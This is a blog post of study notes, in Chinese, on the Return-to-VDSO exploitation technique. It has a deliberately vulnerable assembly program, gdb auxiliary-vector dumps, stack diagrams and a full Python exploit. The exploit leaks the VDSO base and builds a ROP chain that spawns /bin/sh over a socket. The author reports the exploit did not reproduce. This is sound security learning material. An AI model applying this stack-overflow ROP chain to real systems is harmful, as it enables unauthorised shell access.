Return-to-VDSO

1 概述

本文是这篇文章的笔记:

Return to VDSO using ELF Auxiliary Vectors

https://v0ids3curity.blogspot.jp/2014/12/return-to-vdso-using-elf-auxiliary.html

2 代码

section .text



global _start
jmp _start
vuln:
sub rsp, 8
mov rax, 0 ; sys_read
mov rdi, 0
mov rsi, rsp
mov rdx, 1024
syscall
add rsp, 8
ret
  
_start:
call vuln
mov rax, 60 ; sys_exit
xor rdi, rdi

syscall

nasm -f elf64 hello.asm

ld hello.o -o hello

objdump -D hello

3 EXP

3.1Auxv调试

        #include <sys/auxv.h>

       unsigned long getauxval(unsigned long type);

 

[8]

sub rsp 8

addr_of_sys_exit

mov rax, 60 ; sys_exit

xor rdi, rdi

syscall

argc

 

argv[0]

 

argv[1]

 

envp[28]

 

auxv[40]

 

 

millionsky@ubuntu-16:~/tmp/return-to-vdso$ gdb ./a.out

(gdb) b *0x400082

Breakpoint 1 at 0x400082

(gdb) r

(gdb) disass $rip, +0x30

Dump of assembler code from 0x400082 to 0x4000b2:

=> 0x0000000000400082:  sub    $0x8,%rsp

   0x0000000000400086:  mov    $0x0,%eax

   0x000000000040008b:  mov    $0x0,%edi

   0x0000000000400090:  mov    %rsp,%rsi

   0x0000000000400093:  mov    $0x400,%edx

   0x0000000000400098:  syscall

   0x000000000040009a:  add    $0x8,%rsp

   0x000000000040009e:  retq   

   0x000000000040009f:  callq  0x400082

   0x00000000004000a4:  mov    $0x3c,%eax

   0x00000000004000a9:  xor    %rdi,%rdi

   0x00000000004000ac:  syscall

   0x00000000004000ae:  add    %ch,(%rsi)

   0x00000000004000b0:  jae    0x40011a

End of assembler dump.

(gdb) si

0x0000000000400086 in ?? ()

(gdb) b *0x000000000040009e

Breakpoint 2 at 0x40009e

(gdb) c

Continuing.

AAAAAAAAAAAAAAAA

 

Breakpoint 2, 0x000000000040009e in ?? ()

(gdb) info auxv

33   AT_SYSINFO_EHDR      System-supplied DSO's ELF header 0x7ffff7ffd000

16   AT_HWCAP             Machine-dependent CPU capability hints 0xfabfbff

6    AT_PAGESZ            System page size               4096

17   AT_CLKTCK            Frequency of times()           100

3    AT_PHDR              Program headers for program    0x400040

4    AT_PHENT             Size of program header entry   56

5    AT_PHNUM             Number of program headers      1

7    AT_BASE              Base address of interpreter    0x0

8    AT_FLAGS             标记                         0x0

9    AT_ENTRY             Entry point of program         0x40009f

11   AT_UID               真正用户id号              1000

12   AT_EUID              Effective user ID              1000

13   AT_GID               Real group ID                  1000

14   AT_EGID              Effective group ID             1000

23   AT_SECURE            Boolean, was exec setuid-like? 0

25   AT_RANDOM            Address of 16 random bytes     0x7fffffffe699

26   AT_HWCAP2            Extension of AT_HWCAP          0x0

31   AT_EXECFN            File name of executable        0x7fffffffefce "/home/millionsky/tmp/return-to-vdso/a.out"

15   AT_PLATFORM          String identifying platform    0x7fffffffe6a9 "x86_64"

0    AT_NULL              End of vector                  0x0

 

(gdb) x/72gx $rsp

0x7fffffffe458: 0x4141414141414141      0x000000000000000a main参数

0x7fffffffe468: 0x00007fffffffe6b0      0x0000000000000000

0x7fffffffe478: 0x00007fffffffe6da      0x00007fffffffe6ed

0x7fffffffe488: 0x00007fffffffe6fd      0x00007fffffffe708

0x7fffffffe498: 0x00007fffffffe736      0x00007fffffffe757

0x7fffffffe4a8: 0x00007fffffffe76b      0x00007fffffffe77b

0x7fffffffe4b8: 0x00007fffffffe7a5      0x00007fffffffed2d

0x7fffffffe4c8: 0x00007fffffffed39      0x00007fffffffedf3

0x7fffffffe4d8: 0x00007fffffffee0d      0x00007fffffffee1c

0x7fffffffe4e8: 0x00007fffffffee3d      0x00007fffffffee65

0x7fffffffe4f8: 0x00007fffffffee8c      0x00007fffffffee9d

0x7fffffffe508: 0x00007fffffffeea6      0x00007fffffffeebc

0x7fffffffe518: 0x00007fffffffeec4      0x00007fffffffeed6

0x7fffffffe528: 0x00007fffffffeee9      0x00007fffffffef1b

0x7fffffffe538: 0x00007fffffffef6d      0x00007fffffffef8d

0x7fffffffe548: 0x00007fffffffefac      0x0000000000000000

0x7fffffffe558: 0x0000000000000021      0x00007ffff7ffd000   auxv

0x7fffffffe568: 0x0000000000000010      0x000000000fabfbff

0x7fffffffe578: 0x0000000000000006      0x0000000000001000

0x7fffffffe588: 0x0000000000000011      0x0000000000000064

0x7fffffffe598: 0x0000000000000003      0x0000000000400040

0x7fffffffe5a8: 0x0000000000000004      0x0000000000000038

0x7fffffffe5b8: 0x0000000000000005      0x0000000000000001

0x7fffffffe5c8: 0x0000000000000007      0x0000000000000000

0x7fffffffe5d8: 0x0000000000000008      0x0000000000000000

0x7fffffffe5e8: 0x0000000000000009      0x000000000040009f

0x7fffffffe5f8: 0x000000000000000b      0x00000000000003e8

0x7fffffffe608: 0x000000000000000c      0x00000000000003e8

0x7fffffffe618: 0x000000000000000d      0x00000000000003e8

0x7fffffffe628: 0x000000000000000e      0x00000000000003e8

0x7fffffffe638: 0x0000000000000017      0x0000000000000000

0x7fffffffe648: 0x0000000000000019      0x00007fffffffe699

0x7fffffffe658: 0x000000000000001a      0x0000000000000000

0x7fffffffe668: 0x000000000000001f      0x00007fffffffefce

0x7fffffffe678: 0x000000000000000f      0x00007fffffffe6a9

0x7fffffffe688: 0x0000000000000000      0x0000000000000000

 

3.2 EXP分析--代码执行中的栈布局

1. 初始状态

RIP:L11/0x40098(sys_read之前)

 

栈布局

local_buf[1]

<=RSP

Return addr
addr_of_sys_exit

L17/0x400a4

argc

 

argv[0]

 

argv[1]

 

envp[28]

 

auxv[40]

 

 

2. Sys_read

RIP: L13/4009e(sys_read执行完毕)

输入的数据:

payload = struct.pack("<Q", 0x0068732f6e69622f) # /bin/sh - we will use this during stage TWO

payload += struct.pack("<Q", 0x400082) # ret to sys_read

payload += struct.pack("<Q", 0x400098) # syscall to sys_write depending on RAX

payload += struct.pack("<Q", 0x4141414141414141) # PAD

payload += struct.pack("<Q", 0x400082) # ret to sys_read

payload += chr(0xa)

soc.send(payload)

 

栈布局

local_buf[1]

local_buf[1]

/bin/sh\0

Return addr
addr_of_sys_exit

Return addr
addr_of_sys_read

<=RSP
0x40082

argc

addr_of_syscall

(sys_write)

0x40098

argv[0]

PAD

AAAAAAAA

argv[1]

addr_of_sys_read

0x400082

envp[28]

envp[28]

Char[0] = 0x0a

auxv[40]

auxv[40]

 

 

3. Vuln()返回

RIP=0x40082

 

 

local_buf[1]

local_buf[1]

/bin/sh\0

Return addr
addr_of_sys_exit

Return addr
addr_of_sys_read

0x40082

argc

addr_of_syscall

(sys_write)

<=RSP
0x40098

argv[0]

PAD

AAAAAAAA

argv[1]

addr_of_sys_read

0x400082

envp[28]

envp[28]

Char[0] = 0x0a

auxv[40]

auxv[40]

 

 

4. Sys_read

RIP: L13/4009e(sys_read执行完毕)
DATA: soc.send(chr(0xa))
RAX=1

local_buf[1]

local_buf[1]

/bin/sh\0

Return addr
addr_of_sys_exit

Return addr
addr_of_sys_read

0x40082
read_buf
0x4000a

argc

addr_of_syscall
(sys_write)

<=RSP
0x40098

argv[0]

PAD

AAAAAAAA

argv[1]

addr_of_sys_read

0x400082

envp[28]

envp[28]

Char[0] = 0x0a

auxv[40]

auxv[40]

 

 

5. Sys_write

RIP: L13/4009e(sys_write执行完毕)
栈中从write_buf开始的0x400字节都被输出到stdin

local_buf[1]

local_buf[1]

/bin/sh\0

Return addr
addr_of_sys_exit

Return addr
addr_of_sys_read

0x4000a
write_buf

argc

addr_of_syscall
(sys_write)

0x40098

argv[0]

PAD

AAAAAAAA

argv[1]

addr_of_sys_read

0x400082
<=RSP

envp[28]

envp[28]

Char[0] = 0x0a

auxv[40]

auxv[40]

 

 

6. Sys_read

RIP: L13/4009e(sys_read执行完毕)

local_buf[1]

local_buf[1]

/bin/sh\0

Return addr
addr_of_sys_exit

Return addr
addr_of_sys_read

0x4000a
write_buf

argc

addr_of_syscall
(sys_write)

0x40098

argv[0]

PAD

AAAAAAAA

argv[1]

PAD

AAAAAAAA

read_buf

envp[28]

GADGET_XOR_EDX

<=RSP

auxv[40]

GADGET_EAX

 

......

GADGET_RDI

 

......

GADGET_RSI

 

......

GADGET_syscall

 

3.3 EXP分析--需要注意的点

3.3.1 AT_RANDOM

AT_RANDOM指示16字节随机数的地址;

这个地址在附加向量的后面,环境字符串的前面;

对于确定的系统,可以通过这个地址计算栈中数据的地址

 

Ubuntu上GDB调试的结果:

auxv_start: 0x7fffffffe558

auxv_end  : 0x7fffffffe698

AT_RANDOM : 0x00007fffffffe699  auxv结束后两个字节

 

原文中通过AT_RANDOM减去0x2b9后得到了/bin/sh的地址;

实际上通过文中显示的地址,减去0x2b9指向的是argc,减去0x2c9才是/bin/sh的地址;这一点比较困惑(PS:GDB调试的和实际运行的有差异)。

3.3.2 write(0, buf, 1024)

stdin描述符不是只读的,它和stdout指向相同的字符设备,可以写入。

因此

write(0, buf, 1024)

也会写入标准输出

3.3.3 Gadget

execve('/bin/sh',0,0);

RAX EXECVE

RDI /bin/sh

RSI NULL

RDX NULL

原文中测试的系统是

[renorobert@localhost aux_vec]$ uname -r

3.11.10-301.fc20.x86_64

 

验证的时候使用的是Ubuntu 16.04 64

 

没有在VDSO中找到对应的gadget来构造execve系统调用。

3.4 EXP

#!/usr/bin/env python

import telnetlib
import socket
import struct
import time

ip = '127.0.0.1'
port = 3335

# id's of Auxillary Vectors
AT_SYSINFO_EHDR = 0x21
AT_HWCAP = 0x10
AT_PAGESZ = 0x06
AT_CLKTCK = 0x11
AT_PHDR = 0x03
AT_PHENT = 0x04
AT_PHNUM = 0x05
AT_BASE = 0x07
AT_FLAGS = 0x08
AT_ENTRY = 0x09
AT_UID = 0x0b
AT_EUID = 0x0c
AT_GID = 0x0d
AT_EGID = 0x0e
AT_SECURE = 0x17
AT_RANDOM = 0x19
AT_EXECFN = 0x1f
AT_PLATFORM = 0x0f

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# stage ONE
payload = struct.pack("<Q", 0x0068732f6e69622f) # /bin/sh - we will use this during stage TWO
payload += struct.pack("<Q", 0x400082) # ret to sys_read
payload += struct.pack("<Q", 0x400098) # syscall to sys_write depending on RAX
payload += struct.pack("<Q", 0x4141414141414141) # PAD
payload += struct.pack("<Q", 0x400082) # ret to sys_read
payload += chr(0xa)
soc.send(payload)
time.sleep(2.0)

# write single byte to setup RAX for sys_write
soc.send(chr(0xa))
time.sleep(2.0)

# read the information leaked which contains Auxillary Vector
ENV_AUX_VEC = soc.recv(1024)

QWORD_LIST = []
for i in range(0, len(ENV_AUX_VEC), 8):
QWORD_LIST.append(struct.unpack("<Q", ENV_AUX_VEC[i:i+8])[0])

start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # first entry in vector table
AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (18 * 2)] # size of auxillary table
AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))

vdso_address = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR]
print "[*] Base address of VDSO : %s" % hex(vdso_address)

offset = 0x2b9
random_address = AUX_VEC_ENTRIES[AT_RANDOM]
buffer_address = random_address - 0x2b9
print "[*] Buffer address in stack : %s" % hex(buffer_address)

# stage TWO

offset_xor_edx = 0x7b0 # xor edx,edx; mov QWORD PTR [rsi+0x8],rax; add rdi,rdx; test r12d,r12d; mov QWORD PTR [rsi],rdi; jne addr; nop DWORD PTR [rax+0x0]; movsxd rdi,r15d; mov eax,0xe4; syscall; add rsp,0x28; pop rbx; pop r12; pop r13; pop r14; pop r15; pop rbp; ret
offset_pop_rsi = 0x7dc # pop rsi; pop r15; pop rbp; ret
offset_pop_rdi = 0x7de # pop rdi; pop rbp; ret
offset_add_eax = 0x600 # add eax, dword [rbx] ; retn 0x0005
offset_eax_val = 0x672 # 0x3b for sys_execve
syscall = 0x400098

payload = struct.pack("<Q", 0x4141414141414141) # PAD
payload += struct.pack("<Q", vdso_address + offset_xor_edx)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", vdso_address + offset_eax_val) //RBX
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", vdso_address + offset_add_eax) # this will unalign the stack by 5 bytes
payload += struct.pack("<Q", vdso_address + offset_pop_rdi)
payload += chr(0x00) # PAD
payload += struct.pack("<I", 0x00000000) # PAD
payload += struct.pack("<Q", buffer_address) //RDI
payload += struct.pack("<Q", 0x4343434343434343) //pop RBP
payload += struct.pack("<Q", vdso_address + offset_pop_rsi)
payload += struct.pack("<Q", 0x0000000000000000) //pop RSI
payload += struct.pack("<Q", 0x4343434343434343) //pop R15
payload += struct.pack("<Q", 0x4343434343434343) //POP RBP
payload += struct.pack("<Q", syscall) # execve("/bin/sh", 0, 0)
payload += chr(0xa)
soc.send(payload)

s = telnetlib.Telnet()
s.sock = soc
s.interact()


结论

Return to vdso由于环境不一致,没有复现成功,但原理理解了。同时通过调试有以下收获:

 

1. VDSO中的代码可供利用。

2. 附加向量中的AT_RANDOM指示栈中16字节随机数的地址。在栈中位于附加向量的后面,环境字符串的前面。可以通过这个地址计算栈中数据的地址。

3. stdin描述符不是只读的,它和stdout指向相同的字符设备,可以写入。

因此

write(0, buf, 1024)

也会写入标准输出

参考文章

1. Return to VDSO using ELF Auxiliary Vectors。https://v0ids3curity.blogspot.jp/2014/12/return-to-vdso-using-elf-auxiliary.html。

阅读终点,创作起航,您可以撰写心得或摘录文章要点写篇博文。去创作
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MillionSky

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值